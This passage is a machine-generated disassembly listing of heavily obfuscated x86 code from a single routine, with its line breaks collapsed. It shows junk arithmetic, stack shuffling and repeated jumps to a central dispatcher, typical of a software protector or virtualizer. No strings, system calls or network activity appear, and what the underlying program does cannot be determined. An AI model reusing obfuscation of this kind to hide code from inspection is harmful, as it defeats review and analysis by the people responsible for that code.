ecx, 0FFFFFFFFh xor ecx, 506C3F54h not ecx add ecx, 36E61777h jmp loc_5A3658 ; --------------------------------------------------------------------------- loc_596CCF: ; CODE XREF: sub_580566+1AF0Bj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-52h+arg_48+2] pop esp push eax sub esp, 4 mov [esp-4Eh+arg_44+2], esp push eax jmp loc_5A506B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp-4Ch+arg_44], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_596CFA: ; CODE XREF: sub_580566+1DA33j mov edi, 0AFC0B75h jmp loc_596C59 ; --------------------------------------------------------------------------- loc_596D04: ; CODE XREF: sub_580566+13833j add al, 0DBh add al, 0E4h add al, bl sub al, 0E4h push edx mov dh, 0DBh add al, 53h sub al, dh jmp loc_593784 ; --------------------------------------------------------------------------- loc_596D18: ; CODE XREF: sub_580566+1C321j add esp, 4 add edx, edi pop edi add edx, 2 xor edx, [esp-3Eh+arg_34+2] xor [esp-3Eh+arg_34+2], edx jmp loc_5A33C5 ; --------------------------------------------------------------------------- loc_596D32: ; CODE XREF: sub_580566+12948j mov edi, [esp-3Ch+arg_34] add esp, 4 jmp loc_59317B ; --------------------------------------------------------------------------- loc_596D3D: ; CODE XREF: sub_580566+1588Aj pop esi push ebp mov ebp, 11F7337Ah shl ebp, 8 not ebp add ebp, 50E259A8h jmp loc_5A4CCE ; --------------------------------------------------------------------------- loc_596D54: ; CODE XREF: sub_580566+148E9j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-1Eh+arg_16] mov esp, [esp-1Eh+arg_16] push edx mov edx, esp push eax mov eax, 4 push ebx mov ebx, 75B439ECh sub edx, ebx pop ebx add edx, eax add edx, 75B439ECh jmp loc_59C4E6 ; --------------------------------------------------------------------------- loc_596D84: ; CODE XREF: sub_580566+1D5A3j xchg eax, [esp-16h+arg_E] pop esp jmp loc_59C7D1 ; --------------------------------------------------------------------------- loc_596D8D: ; CODE XREF: sub_580566+254B5j xor ebx, eax push edx jmp loc_59F30A ; --------------------------------------------------------------------------- loc_596D95: ; CODE XREF: sub_580566+1DEBFj add ebx, 727615A0h add ebx, ecx sub ebx, 727615A0h pop ecx mov ecx, ebx mov ebx, [esp-1Ah+arg_12] add esp, 4 xor edi, ecx pop ecx add ebp, edi jmp loc_591C8D ; --------------------------------------------------------------------------- loc_596DB9: ; CODE XREF: sub_580566+1B07Cj mov esi, 24B13E18h xor edx, esi jmp loc_5A2997 ; --------------------------------------------------------------------------- loc_596DC5: ; CODE XREF: sub_580566+1A63Aj pop esp push edi push dword ptr [esp+4] pop edi pop [esp-22h+arg_1A] mov esp, [esp+0] mov [esp+0], ebx push esi sub esp, 4 mov [esp-1Eh+arg_16], esp add [esp-1Eh+arg_16], 4 mov esi, [esp-1Eh+arg_16] add esp, 4 add esi, 4 sub esi, 4 xchg esi, [esp-22h+arg_1A] jmp loc_59556C ; --------------------------------------------------------------------------- loc_596E00: ; CODE XREF: sub_580566+14730j mov esp, [esp-46h+arg_3C+2] mov edx, [esp-46h+arg_3C+2] add esp, 4 loc_596E09: ; CODE XREF: sub_580566+201DDj push ecx sub esp, 4 mov [esp-42h+arg_38+2], esp jmp loc_599EBA ; --------------------------------------------------------------------------- loc_596E15: ; CODE XREF: sub_580566+1457Aj mov edx, 3BD437B0h sub [esp-2Eh+arg_2C+2], edx jmp loc_5A49E1 ; --------------------------------------------------------------------------- loc_596E23: ; CODE XREF: sub_580566+23947j sub eax, 25A41CF7h mov edi, [esp-2Eh+arg_24+2] add esp, 4 sub [edi+24h], eax jmp loc_5959D6 ; --------------------------------------------------------------------------- loc_596E39: ; CODE XREF: sub_580566+24606j sub edx, 4FF25952h sub edx, 1D2522F0h pop edi mov ecx, edx pop edx jmp loc_592AF7 ; --------------------------------------------------------------------------- loc_596E4E: ; CODE XREF: sub_580566+1D465j pop edi push edi mov edi, 178E1241h add edi, 4E754C00h add ecx, edi pop edi push edx jmp loc_5A10DB ; --------------------------------------------------------------------------- mov ax, word ptr [esp-3Ah+arg_30+2] push ebp jmp loc_59B650 ; --------------------------------------------------------------------------- loc_596E6E: ; CODE XREF: sub_580566+1EBFDj mov [esp-36h+arg_2C+2], edx push esp pop edx jmp loc_59E65B ; --------------------------------------------------------------------------- loc_596E78: ; CODE XREF: sub_580566+18730j add edx, 4801289Fh add edx, ebx jmp loc_5993F8 ; --------------------------------------------------------------------------- loc_596E85: ; CODE XREF: sub_580566+21DE0j push 2 pop ebp add esi, ebp mov ebp, [esp-36h+arg_2C+2] sub esp, 4 jmp loc_5A1923 ; --------------------------------------------------------------------------- loc_596E98: ; CODE XREF: sub_580566+22A45j mov bl, cl pop ecx jmp loc_5983C3 ; --------------------------------------------------------------------------- loc_596EA0: ; CODE XREF: sub_580566+21A16j add edx, 104A3046h sub edx, edi sub edx, 104A3046h add edx, 166A29A6h mov edi, [esp-36h+arg_2C+2] add esp, 4 xor edx, [esp-3Ah+arg_30+2] xor [esp-3Ah+arg_30+2], edx xor edx, [esp-3Ah+arg_30+2] mov esp, [esp-3Ah+arg_30+2] mov [esp-3Ah+arg_30+2], ecx push 0AC3h mov [esp-36h+arg_2C+2], edx push 3F4B13CDh pop edx or edx, 36D45E6Ah sub edx, 3FDF5FEDh jmp loc_591D66 ; --------------------------------------------------------------------------- loc_596EEB: ; CODE XREF: sub_580566+1C311j add esp, 4 and [edi+1Ch], ebp mov ebp, [esp-3Ah+arg_30+2] jmp loc_5923D5 ; --------------------------------------------------------------------------- loc_596EFC: ; CODE XREF: sub_580566+23D05j add ebp, 4 add ebp, 4 xchg ebp, [esp-3Ah+arg_30+2] jmp loc_5A4B7C ; --------------------------------------------------------------------------- loc_596F0D: ; CODE XREF: sub_580566+21B33j xchg ebx, esi push edx push esi pop edx pop esi push 443Ch jmp loc_5926FF ; --------------------------------------------------------------------------- loc_596F1D: ; CODE XREF: sub_580566+1784Fj or ebp, 2E324B6h xor ebp, 3970717h mov eax, ebp jmp loc_5A0E01 ; --------------------------------------------------------------------------- loc_596F30: ; CODE XREF: sub_580566+18F3Bj pop edi push 4E33632Dh mov esi, [esp-36h+arg_2C+2] add esp, 4 sub esi, eax pop eax sub edx, 45135B17h sub edx, 61370E6Fh add edx, esi add edx, 61370E6Fh push ecx jmp loc_59FA60 ; --------------------------------------------------------------------------- loc_596F59: ; CODE XREF: sub_580566+1C448j mov ah, 0FAh and cl, ah mov eax, [esp-3Ah+arg_30+2] jmp loc_59B8A0 ; --------------------------------------------------------------------------- loc_596F65: ; CODE XREF: sub_580566+1CC91j pop [esp-3Ah+arg_30+2] pop esp mov cx, word ptr [esp-42h+arg_38+2] sub esp, 4 mov [esp-3Eh+arg_34+2], eax sub esp, 4 mov [esp-3Ah+arg_30+2], esp sub esp, 4 jmp loc_59B942 ; --------------------------------------------------------------------------- loc_596F8A: ; CODE XREF: sub_580566+1F6FDj add ebx, 4 xchg ebx, [esp-36h+arg_2C+2] pop esp or ebx, ebx jnz loc_59D0E9 push ebx jmp loc_5A0A26 ; --------------------------------------------------------------------------- loc_596F9F: ; CODE XREF: sub_580566+1A04Aj pop esp mov [esp-3Ah+arg_30+2], ebx push eax push ebx mov bh, dl mov al, bh pop ebx push edx mov dh, al push 6950h mov [esp-2Eh+arg_24+2], eax mov al, dh jmp loc_59AC5A ; --------------------------------------------------------------------------- loc_596FBC: ; CODE XREF: sub_580566+1C075j mov esp, [esp-2Eh+arg_24+2] add eax, 4 jmp loc_59EAD4 ; --------------------------------------------------------------------------- loc_596FC9: ; CODE XREF: sub_580566+20271j add eax, 4 xor eax, [esp-2Eh+arg_24+2] xor [esp-2Eh+arg_24+2], eax xor eax, [esp-2Eh+arg_24+2] jmp loc_59951E ; --------------------------------------------------------------------------- loc_596FDC: ; CODE XREF: sub_580566+17681j sub esp, 4 mov [esp-2Ah+arg_20+2], edx push ecx mov ecx, 4F4C04A7h dec ecx and ecx, 4B373416h jmp loc_59D82E ; --------------------------------------------------------------------------- loc_596FF7: ; CODE XREF: sub_580566+1C208j sub al, 0Ch add al, bl push dx mov dl, 0Ch add al, dl pop dx sub al, 64h jmp loc_5933E0 ; --------------------------------------------------------------------------- loc_59700A: ; CODE XREF: sub_580566+201C8j xchg bl, cl push ebx mov bh, 0A9h dec bh dec bh add bh, 0D4h xor bh, 16h sub bh, 0 add cl, bh pop ebx push small 12E0h jmp loc_59E844 ; --------------------------------------------------------------------------- loc_597028: ; CODE XREF: sub_580566+226C8j pop eax shr edi, 1 shl edi, 6 neg edi jmp loc_5916B1 ; --------------------------------------------------------------------------- loc_597035: ; CODE XREF: sub_580566+1AFCBj push edi mov edi, 7E9910A5h mov ebp, 8166EF5Fh add ebp, edi jmp loc_5A5814 ; --------------------------------------------------------------------------- loc_597047: ; CODE XREF: sub_580566+11423j push eax mov eax, esp jmp loc_5A3F07 ; --------------------------------------------------------------------------- loc_59704F: ; CODE XREF: sub_580566+23ACAj push 2ACAh mov [esp-4Ch+arg_44], edi jmp loc_5A0DA7 ; --------------------------------------------------------------------------- loc_59705C: ; CODE XREF: sub_580566+1A8B6j mov esi, [esp-4Ch+arg_44] jmp loc_59385A ; --------------------------------------------------------------------------- loc_597064: ; CODE XREF: sub_580566+1D144j mov ecx, 0FFFFFFFFh add eax, 45A51CD0h add eax, ecx jmp loc_59C6FA ; --------------------------------------------------------------------------- loc_597075: ; CODE XREF: sub_580566+185BFj mov esi, 4CEC776Ah add [esp-4Ch+arg_48], esi mov esi, [esp-4Ch+arg_44] add esp, 4 pop eax push 3FCDh mov [esp-50h+arg_48], ebp mov ebp, 4CEC776Ah push ebx mov ebx, 1999374Ch push ebx not [esp-48h+arg_40] pop ebx jmp loc_59C581 ; --------------------------------------------------------------------------- loc_5970A2: ; CODE XREF: sub_580566+1A246j mov [esp-4Ch+arg_44], ebx mov bh, 8Ch sub cl, bh pop ebx jmp loc_594D9D ; --------------------------------------------------------------------------- loc_5970AF: ; CODE XREF: sub_580566+1EB54j add ebx, edi push eax mov eax, 41734507h inc eax and eax, 4297122Fh jmp loc_59E57D ; --------------------------------------------------------------------------- loc_5970C2: ; CODE XREF: sub_580566+15A0Fj add ebx, 322E6F33h xor esi, ebx pop ebx or [edi+1Ch], esi pop esi jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5970D4: ; CODE XREF: sub_580566+249B0j push ebx push 4E507D9Bh mov ebx, [esp-2Eh+arg_24+2] add esp, 4 xor ebx, 37A56B71h not ebx push eax jmp loc_5A5264 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- add [esp-2Eh+arg_24+2], 4 pop esi push edx push ebp mov ebp, 4 mov edx, ebp pop ebp add esi, 53C87856h add esi, edx sub esi, 53C87856h pop edx sub esp, 4 mov [esp-2Eh+arg_24+2], ebx push 2 pop ebx sub esi, 3B70A97h add esi, ebx jmp loc_5A0FEE ; --------------------------------------------------------------------------- loc_59712E: ; CODE XREF: sub_580566+1106Cj mov ecx, [esp-34h+arg_2C] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-30h+arg_28] pop esp add ebp, 55B3370Ch sub ebp, 119C0A90h add ebp, edx add ebp, 119C0A90h sub ebp, 55B3370Ch pop edx xchg ebp, [esp-38h+arg_30] mov esp, [esp-38h+arg_30] jmp loc_5987CA ; --------------------------------------------------------------------------- locret_597168: ; CODE XREF: sub_580566+1B014j retn ; --------------------------------------------------------------------------- loc_597169: ; DATA XREF: sub_580566+10252o push edx push 341Ah jmp loc_59F4DF ; --------------------------------------------------------------------------- loc_597174: ; CODE XREF: sub_580566+1323Fj mov [esp-4Ah+arg_40+2], esi jmp loc_598A31 ; --------------------------------------------------------------------------- loc_59717C: ; CODE XREF: sub_580566+1F960j push ebx jmp loc_592C77 ; --------------------------------------------------------------------------- loc_597182: ; CODE XREF: sub_580566+1B899j xor edi, ebp xor ebp, edi not edi jmp loc_5934BE ; --------------------------------------------------------------------------- loc_59718D: ; CODE XREF: sub_580566+12C76j mov edx, [esp-42h+arg_38+2] add esp, 4 jmp loc_59CAE4 ; --------------------------------------------------------------------------- loc_597198: ; CODE XREF: sub_580566+18F53j sub esp, 4 mov [esp-42h+arg_38+2], ebp push [esp-42h+arg_3C+2] pop ebp pop [esp-42h+arg_38+2] jmp loc_59528E ; --------------------------------------------------------------------------- loc_5971AE: ; CODE XREF: sub_580566+1C01Ej or ebx, 2DCD3F02h jmp loc_59E616 ; --------------------------------------------------------------------------- loc_5971B9: ; CODE XREF: sub_580566+1A183j add edi, ebp jmp loc_590EB7 ; --------------------------------------------------------------------------- loc_5971C0: ; CODE XREF: sub_580566+13E2Dj push ebp push 11257C37h pop ebp add ebp, 6905FCADh mov edi, ebp pop ebp mov ebx, edi jmp loc_5952D8 ; --------------------------------------------------------------------------- loc_5971D7: ; CODE XREF: sub_580566+1190Aj mov [esp-4Ah+arg_40+2], eax mov eax, 16002FCCh jmp loc_5A536C ; --------------------------------------------------------------------------- loc_5971E4: ; CODE XREF: sub_580566+17EAAj xor ebp, 2A8D7CEBh add ebp, 1C4841Dh xor ebx, ebp pop ebp add eax, ebx jmp loc_59AC2F ; --------------------------------------------------------------------------- loc_5971FA: ; CODE XREF: sub_580566+12855j add esp, 4 push edx push esp mov edx, [esp-2Ch+arg_24] push edi jmp loc_59AC1C ; --------------------------------------------------------------------------- loc_59720B: ; CODE XREF: sub_580566+14121j add edx, 4 sub edx, 4 xor edx, [esp-4Eh+arg_44+2] jmp loc_5962EB ; --------------------------------------------------------------------------- loc_59721F: ; CODE XREF: sub_580566+1DBEEj push esi push ecx mov ecx, 21341481h jmp loc_59A1B4 ; --------------------------------------------------------------------------- loc_59722B: ; CODE XREF: sub_580566+24D86j add bl, dl pop dx sub bl, 0F4h sub esp, 4 mov [esp-44h+arg_3C], edx jmp loc_599245 ; --------------------------------------------------------------------------- loc_59723D: ; CODE XREF: sub_580566+1297Bj push edi jmp loc_59C88C ; --------------------------------------------------------------------------- loc_597243: ; CODE XREF: sub_580566+10A24j add [esp-5Ah+arg_56], edx mov edx, [esp-5Ah+arg_52] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-56h+arg_4E] mov esp, [esp-56h+arg_4E] mov eax, [esp-56h+arg_4E] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-52h+arg_48+2] mov esp, [esp-52h+arg_48+2] jmp loc_597D2C ; --------------------------------------------------------------------------- loc_59727A: ; CODE XREF: sub_580566+22822j add esi, 359F323Fh pop ebp push edx mov edx, 4 jmp loc_59A95E ; --------------------------------------------------------------------------- loc_59728C: ; CODE XREF: sub_580566+1D7B1j xor ebx, esi push esi jmp loc_59C996 ; --------------------------------------------------------------------------- loc_597294: ; CODE XREF: sub_580566+20945j pop dx jmp loc_5A15CA ; --------------------------------------------------------------------------- loc_59729B: ; CODE XREF: sub_580566+12A07j push 45DCh mov [esp-3Ah+arg_30+2], ecx push eax mov al, dh mov cl, al pop eax mov bh, cl pop ecx mov edx, [esp-3Eh+arg_34+2] add esp, 4 push ecx push edx mov dh, bh jmp loc_5A01F4 ; --------------------------------------------------------------------------- loc_5972BE: ; CODE XREF: sub_580566+1EC80j sub [esp-3Ah+arg_38+2], 521B7531h sub [esp-3Ah+arg_38+2], edx push esi push ebp mov ebp, 521B7531h mov esi, ebp pop ebp add [esp-36h+arg_38+2], esi jmp loc_5991DF ; --------------------------------------------------------------------------- loc_5972DD: ; CODE XREF: sub_580566+108EFj not ecx dec ecx not ecx or ecx, 2F3D3BACh xor ecx, 40B37192h and edx, ecx jmp loc_5A19CB ; --------------------------------------------------------------------------- loc_5972F5: ; CODE XREF: sub_580566+1E54Dj mov ecx, 3E2E2FD8h sub ecx, 1D4F0784h push ebx push ebp push 565E65B1h pop ebp push eax mov eax, 32F708B0h sub ebp, eax pop eax add ebp, 0FFFFFFFFh push esi jmp loc_5977EA ; --------------------------------------------------------------------------- loc_59731A: ; CODE XREF: sub_580566+1441Cj sub esp, 4 mov [esp-3Ch+arg_34], edi jmp loc_59CAB9 ; --------------------------------------------------------------------------- loc_597328: ; CODE XREF: sub_580566+2190Bj pop esi mov edi, ebp pop ebp neg edi add edi, 0FFFFFFFFh sub edi, 33C5885Bh jmp loc_59220B ; --------------------------------------------------------------------------- loc_59733C: ; CODE XREF: sub_580566+23E97j push [esp-44h+arg_40] mov eax, [esp-40h+arg_38] jmp loc_5A06D9 ; --------------------------------------------------------------------------- loc_597348: ; CODE XREF: sub_580566+1CD7Dj mov eax, 1A37AC2h xor eax, 6E3447DFh shr eax, 2 not eax push ecx mov ecx, 0E41A30B7h sub eax, ecx pop ecx add edx, eax pop eax push 1844h jmp loc_59B3BE ; --------------------------------------------------------------------------- loc_59736D: ; CODE XREF: sub_580566+24A89j xor [esp-40h+arg_38], eax jmp loc_596710 ; --------------------------------------------------------------------------- loc_597375: ; CODE XREF: sub_580566+1F890j add ebp, 11B72D4h pop edx shl ebp, 6 or ebp, 22156CBDh shr ebp, 4 add ebp, 37A17AC1h xor ebp, 519145C5h sub ebx, 2146F17h sub ebx, 71A64192h sub ebx, ebp add ebx, 71A64192h jmp loc_5950A4 ; --------------------------------------------------------------------------- loc_5973AD: ; CODE XREF: sub_580566+23E05j sub edx, 632A72B4h pop edi xchg edx, [esp-48h+arg_40] mov esp, [esp-48h+arg_40] mov [esp-48h+arg_40], ebx mov ebx, 3132E872h push edi mov edi, 4837F1h sub eax, edi pop edi sub eax, 40D764EDh jmp loc_5A413D ; --------------------------------------------------------------------------- loc_5973D5: ; CODE XREF: sub_580566+14147j xchg esi, [esp-42h+arg_38+2] pop esp mov [esp-46h+arg_3C+2], edx not byte ptr [esp-46h+arg_3C+2] mov edx, [esp-46h+arg_3C+2] add esp, 4 jmp loc_59D3E9 ; --------------------------------------------------------------------------- loc_5973EA: ; CODE XREF: sub_580566+23F5Cj shl dl, 3 jmp loc_594FFC ; --------------------------------------------------------------------------- loc_5973F2: ; CODE XREF: sub_580566+15AEAj shl esi, 4 xor esi, 2A456F6Dh xor esi, 0EF3C8852h mov ebp, esi jmp loc_59DF80 ; --------------------------------------------------------------------------- loc_597408: ; CODE XREF: sub_580566+176DAj add esi, 48075024h jmp loc_59FBB6 ; --------------------------------------------------------------------------- loc_597413: ; CODE XREF: sub_580566+217E8j shr al, 3 neg al jmp loc_593521 ; --------------------------------------------------------------------------- loc_59741D: ; CODE XREF: sub_580566+180F4j add esp, 4 jmp loc_59398A ; --------------------------------------------------------------------------- loc_597428: ; CODE XREF: sub_580566+19D82j mov ebx, ecx pop ecx add edi, ebx mov ebx, [esp-78h+arg_6E+2] jmp loc_5A3488 ; --------------------------------------------------------------------------- loc_597435: ; CODE XREF: sub_580566+20FD0j mov ecx, 43D41BE1h not ecx push esi mov esi, 9672D7B2h xor ecx, esi pop esi add eax, ecx pop ecx jmp loc_5922FF ; --------------------------------------------------------------------------- loc_59744D: ; CODE XREF: sub_580566+108B4j mov [esp-44h+arg_3C], ebp push eax jmp loc_59F8D5 ; --------------------------------------------------------------------------- loc_597456: ; CODE XREF: sub_580566+15045j xchg esi, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] imul cx push small 77E4h mov word ptr [esp-22h+arg_1A], dx push ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59746F: ; CODE XREF: sub_580566+12FE1j pop ebx add al, cl mov ecx, [esp-3Ch+arg_34] add esp, 4 jmp loc_59F5DA ; --------------------------------------------------------------------------- loc_597480: ; CODE XREF: sub_580566+18EF2j xor eax, 122B6086h neg eax sub eax, 0BEBB9311h and esi, eax mov eax, [esp-40h+arg_38] add esp, 4 push 39A4h mov [esp-40h+arg_38], edi mov edi, 6A720039h or edi, 5D7D7C7Fh push eax mov eax, 5E752E0Eh jmp loc_59C95E ; --------------------------------------------------------------------------- loc_5974B2: ; CODE XREF: sub_580566+24D31j sub ecx, 6236319Bh sub esp, 4 mov [esp-38h+arg_30], ebp mov ebp, 290F200Dh neg ebp inc ebp inc ebp push eax mov eax, 0AF33D15Fh add ebp, 3D3164DAh sub ebp, eax sub ebp, 3D3164DAh pop eax add ecx, ebp pop ebp sub ecx, 0FE3A37BAh xor edi, ecx pop ecx add ecx, 16CA7BB3h add ecx, edi sub ecx, 16CA7BB3h jmp loc_59AB7E ; --------------------------------------------------------------------------- loc_5974FE: ; CODE XREF: sub_580566+23067j mov ebx, edx jmp loc_59B90B ; --------------------------------------------------------------------------- loc_597505: ; CODE XREF: sub_580566+201A1j add edi, ebp pop ebp jmp loc_59E764 ; --------------------------------------------------------------------------- loc_59750D: ; CODE XREF: sub_580566+1BF5Cj mov esi, 44C12BE0h jmp loc_590C05 ; --------------------------------------------------------------------------- loc_597517: ; CODE XREF: sub_580566+13F69j mov ecx, 4 jmp loc_598DE9 ; --------------------------------------------------------------------------- loc_597521: ; CODE XREF: sub_580566+1723Cj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_597526: ; CODE XREF: sub_580566+20876j mov [esp-42h+arg_38+2], esi jmp loc_591E1D ; --------------------------------------------------------------------------- loc_59752E: ; CODE XREF: sub_580566+1C852j mov [esp-42h+arg_38+2], edi mov edi, 4 add [esp-42h+arg_3C+2], edi mov edi, [esp-42h+arg_38+2] jmp loc_5A1165 ; --------------------------------------------------------------------------- loc_597542: ; CODE XREF: sub_580566+23A70j mov [esp-42h+arg_38+2], esi push esp pop esi jmp loc_5A05E8 ; --------------------------------------------------------------------------- loc_59754C: ; CODE XREF: sub_580566+25141j push edx mov edx, 76634354h jmp loc_59C2DB ; --------------------------------------------------------------------------- loc_597557: ; CODE XREF: sub_580566+20E11j add esi, eax jmp loc_5A4C1B ; --------------------------------------------------------------------------- loc_59755E: ; CODE XREF: sub_580566+1E246j pop ebp pop [esp-42h+arg_38+2] jmp loc_592A38 ; --------------------------------------------------------------------------- loc_597567: ; CODE XREF: sub_580566+1F9A2j push esp pop edx jmp loc_592537 ; --------------------------------------------------------------------------- loc_59756E: ; CODE XREF: sub_580566+18C55j mov ebp, 574E4830h xor ebp, 498C13E3h add ebp, 28CE75E4h jmp loc_599368 ; --------------------------------------------------------------------------- loc_597584: ; CODE XREF: sub_580566+1F259j mov esp, [esp-46h+arg_3C+2] add esp, 4 sub esp, 4 mov [esp-46h+arg_3C+2], esi jmp loc_59EC2E ; --------------------------------------------------------------------------- loc_597595: ; CODE XREF: sub_580566+14406j or edx, edi mov edi, [esp-44h+arg_3C] jmp loc_594971 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp-46h+arg_3C+2], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5975AF: ; CODE XREF: sub_580566+126F0j mov eax, 0A4BDA433h xor edi, eax jmp loc_59C5F4 ; --------------------------------------------------------------------------- loc_5975BB: ; CODE XREF: sub_580566+1CBB7j pop dword ptr [eax] add dword ptr [eax], 12AC71C2h push [esp-44h+arg_3C] mov ebx, [esp-40h+arg_38] add esp, 4 sub esp, 4 mov [esp-40h+arg_38], edx push esp pop edx add edx, 4 add edx, 4 push edx push [esp-3Ch+arg_38] pop edx pop [esp-3Ch+arg_34] mov esp, [esp-40h+arg_38] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5975F4: ; CODE XREF: sub_580566+19BDFj mov ecx, [esp-40h+arg_38] jmp loc_594091 ; --------------------------------------------------------------------------- loc_5975FC: ; CODE XREF: sub_580566+17F38j not ebx push edi mov edi, 6FEE4724h or ebx, edi pop edi push edx mov edx, 3D0030FBh shl edx, 3 not edx not edx or edx, 21621577h shr edx, 6 sub edx, 0F3A46E5Ah add ebx, edx jmp loc_594F47 ; --------------------------------------------------------------------------- loc_59762A: ; CODE XREF: sub_580566+192CCj mov word ptr [esp-3Ch+arg_34], di sub esp, 2 mov word ptr [esp-38h+arg_30], si push edx mov dx, 0EEEDh jmp loc_5A3027 ; --------------------------------------------------------------------------- loc_597642: ; CODE XREF: sub_580566+113F2j mov ecx, 7DBB6849h add ebx, ecx pop ecx add ebx, 275C4EE2h sub ebx, 6C6F761Ch mov edx, ebx pop ebx add edi, edx jmp loc_59AAD8 ; --------------------------------------------------------------------------- loc_597660: ; CODE XREF: sub_580566+13C2Fj pop esp add esp, 4 sub [esp-20h+arg_1A+2], 44274868h add [esp-20h+arg_1A+2], 0AF939C1h add [esp-20h+arg_1A+2], edx sub [esp-20h+arg_1A+2], 0AF939C1h jmp loc_594372 ; --------------------------------------------------------------------------- loc_597688: ; CODE XREF: sub_580566+11E80j pop edx add esp, 4 add ecx, 3EDD0E0Dh add ecx, 0FFFFFFFFh sub ecx, 25B7E509h jmp loc_5A44DA ; --------------------------------------------------------------------------- loc_5976A3: ; CODE XREF: sub_580566+17228j push 66EDh jmp loc_593DD3 ; --------------------------------------------------------------------------- loc_5976AD: ; CODE XREF: sub_580566+244B0j not dl sub dl, 71h push ebx mov bl, 9Bh jmp loc_5A30C4 ; --------------------------------------------------------------------------- loc_5976BA: ; CODE XREF: sub_580566+23B9Dj mov [esp-22h+arg_1A], esi mov esi, 4 jmp loc_59AF02 ; --------------------------------------------------------------------------- loc_5976C7: ; CODE XREF: sub_580566+1A936j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 57E7h mov [esp], edx push eax mov eax, esp push edi mov edi, 7B6433DBh jmp loc_59E456 ; --------------------------------------------------------------------------- loc_5976EA: ; CODE XREF: sub_580566+109DEj xor [esp-56h+arg_4E], ecx xor ecx, [esp-56h+arg_4E] mov esp, [esp-56h+arg_4E] jmp loc_5A4623 ; --------------------------------------------------------------------------- loc_5976F8: ; CODE XREF: sub_580566+1B409j add esp, 4 jmp loc_5929F2 ; --------------------------------------------------------------------------- loc_597700: ; CODE XREF: sub_580566+15C40j mov [esp-3Ch+arg_34], eax push esp pop eax jmp loc_599566 ; --------------------------------------------------------------------------- loc_59770A: ; CODE XREF: sub_580566+1504Ej jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59770F: ; CODE XREF: sub_580566+232B0j push [esp-24h+arg_1A+2] mov esi, [esp-20h+arg_16+2] push ebx jmp loc_597C6A ; --------------------------------------------------------------------------- loc_59771B: ; DATA XREF: sub_580566+104A2o mov cx, word ptr [esp-1Ch+arg_12+2] push eax push esp pop eax push ecx mov ecx, 4 sub eax, 3A515655h add eax, ecx add eax, 3A515655h mov ecx, [esp-14h+arg_A+2] add esp, 4 jmp loc_59410E ; --------------------------------------------------------------------------- loc_597742: ; CODE XREF: sub_580566+1D2EBj sub edx, 4 xchg edx, [esp-18h+arg_E+2] pop esp mov [esp-1Ch+arg_12+2], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5941DC ; --------------------------------------------------------------------------- loc_59775D: ; CODE XREF: sub_580566+15AF4j sub ebx, esi pop esi or ebx, 4ACE63E9h push 4D55h jmp loc_5932A7 ; --------------------------------------------------------------------------- loc_597770: ; CODE XREF: sub_580566+1E704j mov ecx, 0AB772A6h push ebx mov ebx, 774C3A7Dh jmp loc_5A15BC ; --------------------------------------------------------------------------- loc_597780: ; CODE XREF: sub_580566+242FCj mov [esp-6Ch+arg_62+2], ecx push [esp-6Ch+arg_66+2] pop ecx pop [esp-6Ch+arg_62+2] mov esp, [esp-70h+arg_66+2] jmp loc_5976A3 ; --------------------------------------------------------------------------- loc_597793: ; CODE XREF: sub_580566+18C74j pop ecx pop [esp-74h+arg_6A+2] push edi mov edi, 4 add [esp-74h+arg_6E+2], edi pop edi jmp loc_597521 ; --------------------------------------------------------------------------- loc_5977A7: ; CODE XREF: sub_580566+15946j sub [esp-42h+arg_3C+2], 72EA58E5h sub [esp-42h+arg_3C+2], eax jmp loc_5A0DE9 ; --------------------------------------------------------------------------- loc_5977B8: ; CODE XREF: sub_580566+140DAj sub ebp, 0B1C73BC9h xor ebx, ebp pop ebp xor ebx, 0CDCA6026h add ecx, 1005214h jmp loc_59E406 ; --------------------------------------------------------------------------- loc_5977D2: ; CODE XREF: sub_580566+1CEA7j xor ah, 39h add dl, ah mov eax, [esp-4Eh+arg_44+2] add esp, 4 xor dl, 1Ch and al, dl jmp loc_59BF39 ; --------------------------------------------------------------------------- loc_5977EA: ; CODE XREF: sub_580566+16DAFj mov esi, 19EA4BA2h xor ebp, esi jmp loc_590C68 ; --------------------------------------------------------------------------- loc_5977F6: ; CODE XREF: sub_580566+14037j mov esp, [esp-20h+arg_16+2] push esi mov esi, esp add esi, 4 sub esi, 4 push esi push [esp-18h+arg_12+2] pop esi jmp loc_5A4ECD ; --------------------------------------------------------------------------- loc_597813: ; CODE XREF: sub_580566+113DCj add ebx, 1620706h add ebx, eax sub ebx, 1620706h sub ebx, 0AE803C1h push dword ptr [esp+0] jmp loc_5A487F ; --------------------------------------------------------------------------- loc_59782F: ; CODE XREF: sub_580566+14BE9j pop esi sub [edi+24h], ebp push [esp-3Ch+arg_34] jmp loc_599279 ; --------------------------------------------------------------------------- loc_59783B: ; CODE XREF: sub_580566+1485Fj add ebp, 21412606h add ebp, 0BC706Ch pop edx push 0C71h mov [esp-28h+arg_20], ebp push [esp-28h+arg_24] push [esp-24h+arg_1A+2] push [esp-20h+arg_16+2] pop ebp push edx jmp loc_5958B4 ; --------------------------------------------------------------------------- loc_597861: ; CODE XREF: sub_580566+2176Cj push ecx mov ecx, 6D245262h sub esp, 4 mov [esp-14h+arg_A+2], ecx push 2E93AEBh mov ecx, [esp] jmp loc_59BC00 ; --------------------------------------------------------------------------- loc_59787A: ; CODE XREF: sub_580566+214B5j sub esp, 4 mov [esp-0Ch+arg_8], eax mov al, 15h not al or al, 0Eh add al, 0C1h push ebx mov bh, al jmp loc_59C0CD ; --------------------------------------------------------------------------- loc_597893: 